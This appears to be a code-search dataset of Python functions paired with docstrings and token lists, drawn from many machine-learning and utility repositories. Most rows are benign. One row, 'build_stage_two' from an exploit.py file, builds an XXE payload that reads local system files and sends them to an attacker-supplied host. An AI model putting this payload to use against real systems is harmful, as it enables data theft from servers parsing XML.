score_grow = self._random_uniform(weigh... | ['def', 'generic_mask_update(self,', 'mask,', 'weights,', 'noise_std=1e-05):', 'masked_weights', '=', 'mask', '*', 'weights', 'score_drop', '=', 'math_ops.abs(masked_weights)', 'score_drop', '+=', 'self._random_normal(score_drop.shape,', 'stddev=noise_std,', 'dtype=score_drop.dtype,', 'seed=hash(weights.name', '+', "'d... | 841,347 |
gradio-app/gradio | number.py | Number.get_interpretation_scores | get_interpretation_scores | Returns: Each tuple set represents a numeric value near the input and its corresponding interpretation score. | [
"Returns:",
"Each",
"tuple",
"set",
"represents",
"a",
"numeric",
"value",
"near",
"the",
"input",
"and",
"its",
"corresponding",
"interpretation",
"score."
] | def get_interpretation_scores(self, x: float, neighbors: list[float], scores: list[float | None], **kwargs) -> list[tuple[float, float | None]]:
interpretation = list(zip(neighbors, scores))
interpretation.insert(int(len(interpretation) / 2), (x, None))
return interpretation | ['def', 'get_interpretation_scores(self,', 'x:', 'float,', 'neighbors:', 'list[float],', 'scores:', 'list[float', '|', 'None],', '**kwargs)', '->', 'list[tuple[float,', 'float', '|', 'None]]:', 'interpretation', '=', 'list(zip(neighbors,', 'scores))', 'interpretation.insert(int(len(interpretation)', '/', '2),', '(x,', ... | 578,939 |
hrnoh/f0-autovc | autovc.py | AutoVC.reset_grad | reset_grad | Reset the gradient buffers. | [
"Reset",
"the",
"gradient",
"buffers."
] | def reset_grad(self):
self.optim['g'].zero_grad() | ['def', 'reset_grad(self):', "self.optim['g'].zero_grad()"] | 558,206 |
ryu-ed/SpaceInvaders_Ros | misc.py | ask_password | ask_password | Ask for a password interactively. | [
"Ask",
"for",
"a",
"password",
"interactively."
] | def ask_password(message):
_check_no_input(message)
return getpass.getpass(message) | ['def', 'ask_password(message):', '_check_no_input(message)', 'return', 'getpass.getpass(message)'] | 367,909 |
open-mmlab/mmselfsup | densecl_neck.py | DenseCLNeck.forward | forward | Forward function of neck. | [
"Forward",
"function",
"of",
"neck."
] | def forward(self, x: List[torch.Tensor]) -> List[torch.Tensor]:
assert len(x) == 1
x = x[0]
avgpooled_x = self.avgpool(x)
avgpooled_x = self.mlp(avgpooled_x.view(avgpooled_x.size(0), -1))
if self.with_pool:
x = self.pool(x)
x = self.mlp2(x)
avgpooled_x2 = self.avgpool2(x)
x = x.v... | ['def', 'forward(self,', 'x:', 'List[torch.Tensor])', '->', 'List[torch.Tensor]:', 'assert', 'len(x)', '==', '1', 'x', '=', 'x[0]', 'avgpooled_x', '=', 'self.avgpool(x)', 'avgpooled_x', '=', 'self.mlp(avgpooled_x.view(avgpooled_x.size(0),', '-1))', 'if', 'self.with_pool:', 'x', '=', 'self.pool(x)', 'x', '=', 'self.mlp2... | 240,443 |
johschmidt42/PyTorch-Object-Detection-Faster-RCNN-Tutorial | annotator.py | Annotator.save_boxes | save_boxes | Save the boxes of the current image to the metadata of the image layer. | [
"Save",
"the",
"boxes",
"of",
"the",
"current",
"image",
"to",
"the",
"metadata",
"of",
"the",
"image",
"layer."
] | def save_boxes(self) -> None:
if self.image_layer is None:
return None
shapes_layers: List[Shapes] = self._get_all_shapes_layer()
for layer in shapes_layers:
self.image_layer.metadata[self.image_layer.name][layer.name] = layer.data
layer.data = [] | ['def', 'save_boxes(self)', '->', 'None:', 'if', 'self.image_layer', 'is', 'None:', 'return', 'None', 'shapes_layers:', 'List[Shapes]', '=', 'self._get_all_shapes_layer()', 'for', 'layer', 'in', 'shapes_layers:', 'self.image_layer.metadata[self.image_layer.name][layer.name]', '=', 'layer.data', 'layer.data', '=', '[]'] | 814,886 |
TrellixVulnTeam/Unsupervised_Learning_HFI7 | latex.py | RowStringConverter.index_levels | index_levels | Integer number of levels in index. | [
"Integer",
"number",
"of",
"levels",
"in",
"index."
] | def index_levels(self) -> int:
return self.frame.index.nlevels | ['def', 'index_levels(self)', '->', 'int:', 'return', 'self.frame.index.nlevels'] | 453,554 |
grayhong/self-diagnosing-gan | image_loader_with_index.py | get_cifar10_images_with_index | get_cifar10_images_with_index | Loads sampled CIFAR-10 training images with index. | [
"Loads",
"sampled",
"CIFAR-10",
"training",
"images",
"with",
"index."
] | def get_cifar10_images_with_index(index, root='./dataset', **kwargs):
dataset = data_utils.load_cifar10_dataset(root=root, transform_data=False, **kwargs)
images = get_index_images(dataset, index)
return images | ['def', 'get_cifar10_images_with_index(index,', "root='./dataset',", '**kwargs):', 'dataset', '=', 'data_utils.load_cifar10_dataset(root=root,', 'transform_data=False,', '**kwargs)', 'images', '=', 'get_index_images(dataset,', 'index)', 'return', 'images'] | 843,179 |
CMU-CREATE-Lab/deep-smoke-machine | layers_keras.py | ReshapeLayer.get_config | get_config | For rebuilding models on load time. | [
"For",
"rebuilding",
"models",
"on",
"load",
"time."
] | def get_config(self):
config = {'new_shape': self.new_shape}
base_config = super(ReshapeLayer, self).get_config()
config = dict(list(base_config.items()) + list(config.items()))
return config | ['def', 'get_config(self):', 'config', '=', "{'new_shape':", 'self.new_shape}', 'base_config', '=', 'super(ReshapeLayer,', 'self).get_config()', 'config', '=', 'dict(list(base_config.items())', '+', 'list(config.items()))', 'return', 'config'] | 519,716 |
google/ml-compiler-opt | ppo_eval_lib.py | evaluate | evaluate | Evaluate a given policy on the given corpus. | [
"Evaluate",
"a",
"given",
"policy",
"on",
"the",
"given",
"corpus."
] | def evaluate(root_dir: str, corpus_path: str, variable_container_server_address: str, num_workers: Optional[int], worker_manager_class):
logging.info('Initializing the distributed PPO agent')
problem_config = registry.get_configuration()
(time_step_spec, action_spec) = problem_config.get_signature_spec()
... | ['def', 'evaluate(root_dir:', 'str,', 'corpus_path:', 'str,', 'variable_container_server_address:', 'str,', 'num_workers:', 'Optional[int],', 'worker_manager_class):', "logging.info('Initializing", 'the', 'distributed', 'PPO', "agent')", 'problem_config', '=', 'registry.get_configuration()', '(time_step_spec,', 'action... | 671,216 |
akandykeller/NeuralWaveMachines | eval_metric.py | eval_monomial_grad | eval_monomial_grad | Accumulates gradient from polynomial features and their weights. | [
"Accumulates",
"gradient",
"from",
"polynomial",
"features",
"and",
"their",
"weights."
] | def eval_monomial_grad(feature, x, w, grad_acc):
features = feature.split(' ')
variable_indices = []
grads = np.ones(len(features)) * w
for (i, feature) in enumerate(features):
name_and_power = feature.split('^')
if len(name_and_power) == 1:
(name, power) = (name_and_power[0]... | ['def', 'eval_monomial_grad(feature,', 'x,', 'w,', 'grad_acc):', 'features', '=', "feature.split('", "')", 'variable_indices', '=', '[]', 'grads', '=', 'np.ones(len(features))', '*', 'w', 'for', '(i,', 'feature)', 'in', 'enumerate(features):', 'name_and_power', '=', "feature.split('^')", 'if', 'len(name_and_power)', '=... | 293,514 |
myothida/Supervised-Machine-Learning | symbolic.py | Expr.tostring | tostring | Return a string representation of Expr. | [
"Return",
"a",
"string",
"representation",
"of",
"Expr."
] | def tostring(self, parent_precedence=Precedence.NONE, language=Language.Fortran):
if self.op in (Op.INTEGER, Op.REAL):
precedence = Precedence.SUM if self.data[0] < 0 else Precedence.ATOM
r = str(self.data[0]) + (f'_{self.data[1]}' if self.data[1] != 4 else '')
elif self.op is Op.COMPLEX:
... | ['def', 'tostring(self,', 'parent_precedence=Precedence.NONE,', 'language=Language.Fortran):', 'if', 'self.op', 'in', '(Op.INTEGER,', 'Op.REAL):', 'precedence', '=', 'Precedence.SUM', 'if', 'self.data[0]', '<', '0', 'else', 'Precedence.ATOM', 'r', '=', 'str(self.data[0])', '+', "(f'_{self.data[1]}'", 'if', 'self.data[1... | 441,738 |
MushroomRL/mushroom-rl | databuffer.py | DataBuffer.update | update | Append values to buffer if tracking enabled. | [
"Append",
"values",
"to",
"buffer",
"if",
"tracking",
"enabled."
] | def update(self, data):
if self._tracking_enabled:
self._buffer.extend(data) | ['def', 'update(self,', 'data):', 'if', 'self._tracking_enabled:', 'self._buffer.extend(data)'] | 266,213 |
rudranil723/mini-main | functional.py | keep_lazy_text | keep_lazy_text | A decorator for functions that accept lazy arguments and return text. | [
"A",
"decorator",
"for",
"functions",
"that",
"accept",
"lazy",
"arguments",
"and",
"return",
"text."
] | def keep_lazy_text(func):
return keep_lazy(str)(func) | ['def', 'keep_lazy_text(func):', 'return', 'keep_lazy(str)(func)'] | 316,719 |
myothida/Supervised-Machine-Learning | test_axes.py | test_specgram_origin_kwarg | test_specgram_origin_kwarg | Ensure passing origin as a kwarg raises a TypeError. | [
"Ensure",
"passing",
"origin",
"as",
"a",
"kwarg",
"raises",
"a",
"TypeError."
] | def test_specgram_origin_kwarg():
t = np.arange(500)
signal = np.sin(t)
with pytest.raises(TypeError):
plt.specgram(signal, origin='lower') | ['def', 'test_specgram_origin_kwarg():', 't', '=', 'np.arange(500)', 'signal', '=', 'np.sin(t)', 'with', 'pytest.raises(TypeError):', 'plt.specgram(signal,', "origin='lower')"] | 362,781 |
instadeepai/jumanji | random.py | make_random_policy_maze | make_random_policy_maze | Make random policy for the `Maze` environment. | [
"Make",
"random",
"policy",
"for",
"the",
"`Maze`",
"environment."
] | def make_random_policy_maze() -> RandomPolicy:
return masked_categorical_random | ['def', 'make_random_policy_maze()', '->', 'RandomPolicy:', 'return', 'masked_categorical_random'] | 594,624 |
TonyLianLong/VAI-ReinforcementLearning | wrappers.py | MjvCameraWrapper.distance | distance | distance to lookat point or tracked body. | [
"distance",
"to",
"lookat",
"point",
"or",
"tracked",
"body."
] | def distance(self):
return self._ptr.contents.distance | ['def', 'distance(self):', 'return', 'self._ptr.contents.distance'] | 440,722 |
rudranil723/mini-main | marshal.py | BaseMarshal.reset | reset | Reset the registry to its initial state. | [
"Reset",
"the",
"registry",
"to",
"its",
"initial",
"state."
] | def reset(self):
self._rules.clear()
self.register(timestamp_pb2.Timestamp, dates.TimestampRule())
self.register(duration_pb2.Duration, dates.DurationRule())
self.register(field_mask_pb2.FieldMask, field_mask.FieldMaskRule())
self.register(wrappers_pb2.BoolValue, wrappers.BoolValueRule())
self.r... | ['def', 'reset(self):', 'self._rules.clear()', 'self.register(timestamp_pb2.Timestamp,', 'dates.TimestampRule())', 'self.register(duration_pb2.Duration,', 'dates.DurationRule())', 'self.register(field_mask_pb2.FieldMask,', 'field_mask.FieldMaskRule())', 'self.register(wrappers_pb2.BoolValue,', 'wrappers.BoolValueRule()... | 269,511 |
voxel51/fiftyone | cvat.py | CVATAnnotationAPI.get_empty_projects | get_empty_projects | Check all given project ids to determine if they are empty or if they contain at least one task. | [
"Check",
"all",
"given",
"project",
"ids",
"to",
"determine",
"if",
"they",
"are",
"empty",
"or",
"if",
"they",
"contain",
"at",
"least",
"one",
"task."
] | def get_empty_projects(self, project_ids):
return [pid for pid in project_ids if self._is_empty_project(pid)] | ['def', 'get_empty_projects(self,', 'project_ids):', 'return', '[pid', 'for', 'pid', 'in', 'project_ids', 'if', 'self._is_empty_project(pid)]'] | 583,999 |
TJU-DRL-LAB/AI-Optimizer | util.py | set_default_device | set_default_device | Set the default device. | [
"Set",
"the",
"default",
"device."
] | def set_default_device():
torch.set_default_tensor_type(torch.cuda.FloatTensor) | ['def', 'set_default_device():', 'torch.set_default_tensor_type(torch.cuda.FloatTensor)'] | 95,222 |
facebookresearch/CompilerGym | module_id_test.py | test_no_module_id_custom_benchmark | test_no_module_id_custom_benchmark | Test that the module and source IDs are stripped in custom benchmark. | [
"Test",
"that",
"the",
"module",
"and",
"source",
"IDs",
"are",
"stripped",
"in",
"custom",
"benchmark."
] | def test_no_module_id_custom_benchmark(env: LlvmEnv):
with open('source.c', 'w') as f:
f.write('int A() {return 0;}')
benchmark = env.make_benchmark('source.c')
env.reset(benchmark=benchmark)
ir = env.ir
print(ir)
assert "; ModuleID = '-'\n" in ir
assert '\nsource_filename = "-"\n' i... | ['def', 'test_no_module_id_custom_benchmark(env:', 'LlvmEnv):', 'with', "open('source.c',", "'w')", 'as', 'f:', "f.write('int", 'A()', '{return', "0;}')", 'benchmark', '=', "env.make_benchmark('source.c')", 'env.reset(benchmark=benchmark)', 'ir', '=', 'env.ir', 'print(ir)', 'assert', '";', 'ModuleID', '=', '\'-\'\\n"',... | 125,930 |
nicknochnack/RealTimeSignLanguageTFJS | anchor.py | build_anchor_generator | build_anchor_generator | Build anchor generator from levels. | [
"Build",
"anchor",
"generator",
"from",
"levels."
] | def build_anchor_generator(min_level, max_level, num_scales, aspect_ratios, anchor_size):
anchor_sizes = collections.OrderedDict()
strides = collections.OrderedDict()
scales = []
for scale in range(num_scales):
scales.append(2 ** (scale / float(num_scales)))
for level in range(min_level, max... | ['def', 'build_anchor_generator(min_level,', 'max_level,', 'num_scales,', 'aspect_ratios,', 'anchor_size):', 'anchor_sizes', '=', 'collections.OrderedDict()', 'strides', '=', 'collections.OrderedDict()', 'scales', '=', '[]', 'for', 'scale', 'in', 'range(num_scales):', 'scales.append(2', '**', '(scale', '/', 'float(num_... | 850,858 |
deepmind/acme | networks.py | make_control_networks | make_control_networks | Creates MPONetworks to be used DM Control suite tasks. | [
"Creates",
"MPONetworks",
"to",
"be",
"used",
"DM",
"Control",
"suite",
"tasks."
] | def make_control_networks(environment_spec: specs.EnvironmentSpec, *, with_recurrence: bool=False, policy_layer_sizes: Sequence[int]=(256, 256, 256), critic_layer_sizes: Sequence[int]=(512, 512, 256), policy_init_scale: float=0.7, critic_type: types.CriticType=types.CriticType.MIXTURE_OF_GAUSSIANS, mog_init_scale: floa... | ['def', 'make_control_networks(environment_spec:', 'specs.EnvironmentSpec,', '*,', 'with_recurrence:', 'bool=False,', 'policy_layer_sizes:', 'Sequence[int]=(256,', '256,', '256),', 'critic_layer_sizes:', 'Sequence[int]=(512,', '512,', '256),', 'policy_init_scale:', 'float=0.7,', 'critic_type:', 'types.CriticType=types.... | 7,614 |
airbus/scikit-decide | scheduling_domains.py | SchedulingDomain.update_time | update_time | Update the time of the state if the time_progress attribute of the given EnumerableAction is True. | [
"Update",
"the",
"time",
"of",
"the",
"state",
"if",
"the",
"time_progress",
"attribute",
"of",
"the",
"given",
"EnumerableAction",
"is",
"True."
] | def update_time(self, state: State, action: SchedulingAction):
next_state = state
if action.time_progress:
next_state = self.update_progress(next_state)
next_state = self.update_res_consumption(next_state)
next_state = self.update_complete_tasks(next_state)
next_state.t = state.t... | ['def', 'update_time(self,', 'state:', 'State,', 'action:', 'SchedulingAction):', 'next_state', '=', 'state', 'if', 'action.time_progress:', 'next_state', '=', 'self.update_progress(next_state)', 'next_state', '=', 'self.update_res_consumption(next_state)', 'next_state', '=', 'self.update_complete_tasks(next_state)', '... | 847,854 |
enuguru/artificial_intelligence_and_machine_learning | base.py | Segment.doc_count_all | doc_count_all | Returns the total number of documents, DELETED OR UNDELETED, in this segment. | [
"Returns",
"the",
"total",
"number",
"of",
"documents,",
"DELETED",
"OR",
"UNDELETED,",
"in",
"this",
"segment."
] | def doc_count_all(self):
raise NotImplementedError | ['def', 'doc_count_all(self):', 'raise', 'NotImplementedError'] | 162,383 |
devashish-patel/webcam-motion-detector | parser.py | HTMLParser.close | close | Handle any buffered data. | [
"Handle",
"any",
"buffered",
"data."
] | def close(self):
self.goahead(1) | ['def', 'close(self):', 'self.goahead(1)'] | 978,004 |
alibaba/EasyCV | ev_runner.py | EVRunner.val | val | Validation step which Deprecated, using evaluation hook instead. | [
"Validation",
"step",
"which",
"Deprecated,",
"using",
"evaluation",
"hook",
"instead."
] | def val(self, data_loader, **kwargs):
self.model.eval()
self.mode = 'val'
self.data_loader = data_loader
self.call_hook('before_val_epoch')
for (i, data_batch) in enumerate(self.data_loader):
self._inner_iter = i
self.call_hook('before_val_iter')
with torch.no_grad():
... | ['def', 'val(self,', 'data_loader,', '**kwargs):', 'self.model.eval()', 'self.mode', '=', "'val'", 'self.data_loader', '=', 'data_loader', "self.call_hook('before_val_epoch')", 'for', '(i,', 'data_batch)', 'in', 'enumerate(self.data_loader):', 'self._inner_iter', '=', 'i', "self.call_hook('before_val_iter')", 'with', '... | 546,810 |
calico/basenji | basenji_sed.py | make_1hot_alt | make_1hot_alt | Return alternative allele one hot coding. | [
"Return",
"alternative",
"allele",
"one",
"hot",
"coding."
] | def make_1hot_alt(ref_1hot, seq_start, snp):
seq_len = ref_1hot.shape[0]
snp_seq_pos = snp.pos - 1 - seq_start
alt_allele = snp.alt_alleles[0]
ref_n = len(snp.ref_allele)
alt_n = len(alt_allele)
if ref_n > seq_len - snp_seq_pos:
ref_n = seq_len - snp_seq_pos
snp.ref_allele = snp.... | ['def', 'make_1hot_alt(ref_1hot,', 'seq_start,', 'snp):', 'seq_len', '=', 'ref_1hot.shape[0]', 'snp_seq_pos', '=', 'snp.pos', '-', '1', '-', 'seq_start', 'alt_allele', '=', 'snp.alt_alleles[0]', 'ref_n', '=', 'len(snp.ref_allele)', 'alt_n', '=', 'len(alt_allele)', 'if', 'ref_n', '>', 'seq_len', '-', 'snp_seq_pos:', 're... | 94,814 |
open-mmlab/mmtracking | transforms.py | SeqCropLikeSiamFC.generate_box | generate_box | Generate box based on cropped image. | [
"Generate",
"box",
"based",
"on",
"cropped",
"image."
] | def generate_box(self, image, gt_bbox, context_amount, exemplar_size):
(img_h, img_w) = image.shape[:2]
(w, h) = (gt_bbox[2] - gt_bbox[0], gt_bbox[3] - gt_bbox[1])
z_width = w + context_amount * (w + h)
z_height = h + context_amount * (w + h)
z_scale = np.sqrt(z_width * z_height)
z_scale_factor ... | ['def', 'generate_box(self,', 'image,', 'gt_bbox,', 'context_amount,', 'exemplar_size):', '(img_h,', 'img_w)', '=', 'image.shape[:2]', '(w,', 'h)', '=', '(gt_bbox[2]', '-', 'gt_bbox[0],', 'gt_bbox[3]', '-', 'gt_bbox[1])', 'z_width', '=', 'w', '+', 'context_amount', '*', '(w', '+', 'h)', 'z_height', '=', 'h', '+', 'cont... | 625,789 |
Caojunxu/AC-FPN | c2.py | import_contrib_ops | import_contrib_ops | Import contrib ops needed by Detectron. | [
"Import",
"contrib",
"ops",
"needed",
"by",
"Detectron."
] | def import_contrib_ops():
envu.import_nccl_ops() | ['def', 'import_contrib_ops():', 'envu.import_nccl_ops()'] | 406,542 |
nicknochnack/RealTimeSignLanguageTFJS | coco_utils.py | generate_annotation_file | generate_annotation_file | Generates COCO-style annotation JSON file given a groundtruth generator. | [
"Generates",
"COCO-style",
"annotation",
"JSON",
"file",
"given",
"a",
"groundtruth",
"generator."
] | def generate_annotation_file(groundtruth_generator, annotation_file):
groundtruths = {}
logging.info('Loading groundtruth annotations from dataset to memory...')
for groundtruth in groundtruth_generator():
for (k, v) in six.iteritems(groundtruth):
if k not in groundtruths:
... | ['def', 'generate_annotation_file(groundtruth_generator,', 'annotation_file):', 'groundtruths', '=', '{}', "logging.info('Loading", 'groundtruth', 'annotations', 'from', 'dataset', 'to', "memory...')", 'for', 'groundtruth', 'in', 'groundtruth_generator():', 'for', '(k,', 'v)', 'in', 'six.iteritems(groundtruth):', 'if',... | 850,940 |
Kvatsx/Artificial-Intelligence-Assignments | cm.py | ScalarMappable.set_clim | set_clim | set the norm limits for image scaling; if *vmin* is a length2 sequence, interpret it as ``(vmin, vmax)`` which is used to support setp ACCEPTS: a length 2 sequence of floats; may be overridden in methods that have ``vmin`` and ``vmax`` kwargs. | [
"set",
"the",
"norm",
"limits",
"for",
"image",
"scaling;",
"if",
"*vmin*",
"is",
"a",
"length2",
"sequence,",
"interpret",
"it",
"as",
"``(vmin,",
"vmax)``",
"which",
"is",
"used",
"to",
"support",
"setp",
"ACCEPTS:",
"a",
"length",
"2",
"sequence",
"of",
... | def set_clim(self, vmin=None, vmax=None):
if vmax is None:
try:
(vmin, vmax) = vmin
except (TypeError, ValueError):
pass
if vmin is not None:
self.norm.vmin = colors._sanitize_extrema(vmin)
if vmax is not None:
self.norm.vmax = colors._sanitize_extrema... | ['def', 'set_clim(self,', 'vmin=None,', 'vmax=None):', 'if', 'vmax', 'is', 'None:', 'try:', '(vmin,', 'vmax)', '=', 'vmin', 'except', '(TypeError,', 'ValueError):', 'pass', 'if', 'vmin', 'is', 'not', 'None:', 'self.norm.vmin', '=', 'colors._sanitize_extrema(vmin)', 'if', 'vmax', 'is', 'not', 'None:', 'self.norm.vmax', ... | 359 |
UWARG/computer-vision-python | test_landing_pad_tracking.py | TestLandingPadTracking.test_run_multiple_inputs | test_run_multiple_inputs | Test run with 2 inputs where some landing pads are similar. | [
"Test",
"run",
"with",
"2",
"inputs",
"where",
"some",
"landing",
"pads",
"are",
"similar."
] | def test_run_multiple_inputs(self, tracker: landing_pad_tracking.LandingPadTracking, detections_1: 'list[object_in_world.ObjectInWorld]', detections_2: 'list[object_in_world.ObjectInWorld]'):
expected_output = detections_2[0]
expected_unconfirmed_positives = [detections_2[0], detections_1[2], detections_2[1], d... | ['def', 'test_run_multiple_inputs(self,', 'tracker:', 'landing_pad_tracking.LandingPadTracking,', 'detections_1:', "'list[object_in_world.ObjectInWorld]',", 'detections_2:', "'list[object_in_world.ObjectInWorld]'):", 'expected_output', '=', 'detections_2[0]', 'expected_unconfirmed_positives', '=', '[detections_2[0],', ... | 470,521 |
RasaHQ/rasa | training_data.py | TrainingData.retrieval_intents | retrieval_intents | Returns the total number of response types in the training data. | [
"Returns",
"the",
"total",
"number",
"of",
"response",
"types",
"in",
"the",
"training",
"data."
] | def retrieval_intents(self) -> Set[Text]:
return {ex.get(INTENT) for ex in self.training_examples if ex.get(INTENT_RESPONSE_KEY)} | ['def', 'retrieval_intents(self)', '->', 'Set[Text]:', 'return', '{ex.get(INTENT)', 'for', 'ex', 'in', 'self.training_examples', 'if', 'ex.get(INTENT_RESPONSE_KEY)}'] | 837,710 |
43Carrig/recurrent_neural_networks_practice | base.py | End.add_idle_action | add_idle_action | Adds an action to be called when this End has no ongoing operations. | [
"Adds",
"an",
"action",
"to",
"be",
"called",
"when",
"this",
"End",
"has",
"no",
"ongoing",
"operations."
] | def add_idle_action(self, action):
raise NotImplementedError() | ['def', 'add_idle_action(self,', 'action):', 'raise', 'NotImplementedError()'] | 310,156 |
allenai/deepfigures-open | pubmed_pipeline.py | find_fig_box | find_fig_box | Find the position of the best match for fig_im on page_im through multi scale template matching. | [
"Find",
"the",
"position",
"of",
"the",
"best",
"match",
"for",
"fig_im",
"on",
"page_im",
"through",
"multi",
"scale",
"template",
"matching."
] | def find_fig_box(fig_im: np.ndarray, page_im: np.ndarray, use_canny: bool=False) -> Optional[datamodels.BoxClass]:
score_threshold = 0.8
scales = np.concatenate((np.logspace(np.log10(0.1), np.log10(0.2), 5), np.logspace(np.log10(0.2), np.log10(0.95), 40)), axis=0)
res = find_template_in_image(fig_im, page_i... | ['def', 'find_fig_box(fig_im:', 'np.ndarray,', 'page_im:', 'np.ndarray,', 'use_canny:', 'bool=False)', '->', 'Optional[datamodels.BoxClass]:', 'score_threshold', '=', '0.8', 'scales', '=', 'np.concatenate((np.logspace(np.log10(0.1),', 'np.log10(0.2),', '5),', 'np.logspace(np.log10(0.2),', 'np.log10(0.95),', '40)),', 'a... | 520,467 |
brijeshiitg/GNCNN-Deep_learning_for_steganalysis_via_convolutional__ | utils.py | weights_init | weights_init | Initializes weights of Conv and fully connected. | [
"Initializes",
"weights",
"of",
"Conv",
"and",
"fully",
"connected."
] | def weights_init(param: Any) -> None:
if isinstance(param, nn.Conv2d):
torch.nn.init.xavier_uniform_(param.weight.data)
if param.bias is not None:
torch.nn.init.constant_(param.bias.data, 0.2)
elif isinstance(param, nn.Linear):
torch.nn.init.normal_(param.weight.data, mean=0.... | ['def', 'weights_init(param:', 'Any)', '->', 'None:', 'if', 'isinstance(param,', 'nn.Conv2d):', 'torch.nn.init.xavier_uniform_(param.weight.data)', 'if', 'param.bias', 'is', 'not', 'None:', 'torch.nn.init.constant_(param.bias.data,', '0.2)', 'elif', 'isinstance(param,', 'nn.Linear):', 'torch.nn.init.normal_(param.weigh... | 578,547 |
nancheng58/Self-supervised-learning-for-Sequential-Recommender-Systems | metrics.py | TailPercentage.used_info | used_info | Get the matrix of recommendation items and number of items in total item set. | [
"Get",
"the",
"matrix",
"of",
"recommendation",
"items",
"and",
"number",
"of",
"items",
"in",
"total",
"item",
"set."
] | def used_info(self, dataobject):
item_matrix = dataobject.get('rec.items')
count_items = dataobject.get('data.count_items')
return (item_matrix.numpy(), dict(count_items)) | ['def', 'used_info(self,', 'dataobject):', 'item_matrix', '=', "dataobject.get('rec.items')", 'count_items', '=', "dataobject.get('data.count_items')", 'return', '(item_matrix.numpy(),', 'dict(count_items))'] | 341,856 |
iesl/diora | embeddings.py | validate_word_order | validate_word_order | Verify tokens are in sorted order. | [
"Verify",
"tokens",
"are",
"in",
"sorted",
"order."
] | def validate_word_order(tokens):
for (w0, w1) in zip(tokens, sorted(tokens)):
assert w0 == w1 | ['def', 'validate_word_order(tokens):', 'for', '(w0,', 'w1)', 'in', 'zip(tokens,', 'sorted(tokens)):', 'assert', 'w0', '==', 'w1'] | 551,848 |
enuguru/artificial_intelligence_and_machine_ | schema.py | ControlledSchema.update_db_from_model | update_db_from_model | Modify the database to match the structure of the current Python model. | [
"Modify",
"the",
"database",
"to",
"match",
"the",
"structure",
"of",
"the",
"current",
"Python",
"model."
] | def update_db_from_model(self, model):
model = load_model(model)
diff = schemadiff.getDiffOfModelAgainstDatabase(model, self.engine, excludeTables=[self.repository.version_table])
genmodel.ModelGenerator(diff, self.engine).runB2A()
self.update_repository_table(self.version, int(self.repository.latest))
... | ['def', 'update_db_from_model(self,', 'model):', 'model', '=', 'load_model(model)', 'diff', '=', 'schemadiff.getDiffOfModelAgainstDatabase(model,', 'self.engine,', 'excludeTables=[self.repository.version_table])', 'genmodel.ModelGenerator(diff,', 'self.engine).runB2A()', 'self.update_repository_table(self.version,', 'i... | 159,017 |
darkarnium/secpub | exploit.py | RequestHandler.build_stage_two | build_stage_two | Builds a second stage XXE payload - for exfil. | [
"Builds",
"a",
"second",
"stage",
"XXE",
"payload",
"-",
"for",
"exfil."
] | def build_stage_two(self):
payload = '\n <!ENTITY % local1 SYSTEM "file:///etc/debian_version">\n <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM \'http://{0}:{1}/exfil?/etc/debian_version=%local1;\'>">\n <!ENTITY % local2 SYSTEM "file:///etc/hostname">\n <!ENTITY % remote2 "<... | ['def', 'build_stage_two(self):', 'payload', '=', "'\\n", '<!ENTITY', '%', 'local1', 'SYSTEM', '"file:///etc/debian_version">\\n', '<!ENTITY', '%', 'remote1', '"<!ENTITY', 'exfil1', 'SYSTEM', '\\\'http://{0}:{1}/exfil?/etc/debian_version=%local1;\\\'>">\\n', '<!ENTITY', '%', 'local2', 'SYSTEM', '"file:///etc/hostname">... | 341,546 |
zhang614/MicroGrid | sputils.py | isshape | isshape | Is x a valid 2-tuple of dimensions? If nonneg, also checks that the dimensions are non-negative. | [
"Is",
"x",
"a",
"valid",
"2-tuple",
"of",
"dimensions?",
"If",
"nonneg,",
"also",
"checks",
"that",
"the",
"dimensions",
"are",
"non-negative."
] | def isshape(x, nonneg=False):
try:
(M, N) = x
except Exception:
return False
else:
if isintlike(M) and isintlike(N):
if np.ndim(M) == 0 and np.ndim(N) == 0:
if not nonneg or (M >= 0 and N >= 0):
return True
return False | ['def', 'isshape(x,', 'nonneg=False):', 'try:', '(M,', 'N)', '=', 'x', 'except', 'Exception:', 'return', 'False', 'else:', 'if', 'isintlike(M)', 'and', 'isintlike(N):', 'if', 'np.ndim(M)', '==', '0', 'and', 'np.ndim(N)', '==', '0:', 'if', 'not', 'nonneg', 'or', '(M', '>=', '0', 'and', 'N', '>=', '0):', 'return', 'True'... | 669,800 |
LLNL/Abmarl | agent_based_simulation.py | ActingAgent.null_action | null_action | The null point in the action space. | [
"The",
"null",
"point",
"in",
"the",
"action",
"space."
] | def null_action(self):
return self._null_action | ['def', 'null_action(self):', 'return', 'self._null_action'] | 405,698 |
lakraj/Udacity-Artificial-Intelligence-Nanodegree-Projects | server.py | SimpleXMLRPCRequestHandler.log_request | log_request | Selectively log an accepted request. | [
"Selectively",
"log",
"an",
"accepted",
"request."
] | def log_request(self, code='-', size='-'):
if self.server.logRequests:
BaseHTTPRequestHandler.log_request(self, code, size) | ['def', 'log_request(self,', "code='-',", "size='-'):", 'if', 'self.server.logRequests:', 'BaseHTTPRequestHandler.log_request(self,', 'code,', 'size)'] | 377,350 |
ipazc/vrpwrp | test_embedding.py | TestEmbedding.test_embedding_dict_conversion | test_embedding_dict_conversion | Tests whether embeddings are serializable and deserializable in the same way. | [
"Tests",
"whether",
"embeddings",
"are",
"serializable",
"and",
"deserializable",
"in",
"the",
"same",
"way."
] | def test_embedding_dict_conversion(self):
emb1 = EMB.Embedding('[ 0.0158451 -0.10712819 0.03863023 -0.03482883 -0.0824572 0.14168985 -0.09636037 0.19106716 -0.02492222 0.14210707 -0.01116645 -0.02843223 0.11468598 0.05238573 -0.07595719 0.02790567 0.08421595 -0.02046278 0.11567297 -0.04182892 0.04587755... | ['def', 'test_embedding_dict_conversion(self):', 'emb1', '=', "EMB.Embedding('[", '0.0158451', '-0.10712819', '0.03863023', '-0.03482883', '-0.0824572', '0.14168985', '-0.09636037', '0.19106716', '-0.02492222', '0.14210707', '-0.01116645', '-0.02843223', '0.11468598', '0.05238573', '-0.07595719', '0.02790567', '0.08421... | 940,026 |
instadeepai/jumanji | specs.py | BoundedArray.maximum | maximum | Returns a Jax array specifying the maximum bounds (inclusive). | [
"Returns",
"a",
"Jax",
"array",
"specifying",
"the",
"maximum",
"bounds",
"(inclusive)."
] | def maximum(self) -> chex.Array:
return self._maximum | ['def', 'maximum(self)', '->', 'chex.Array:', 'return', 'self._maximum'] | 593,853 |
instadeepai/jumanji | random.py | make_random_policy_cvrp | make_random_policy_cvrp | Make random policy for CVRP. | [
"Make",
"random",
"policy",
"for",
"CVRP."
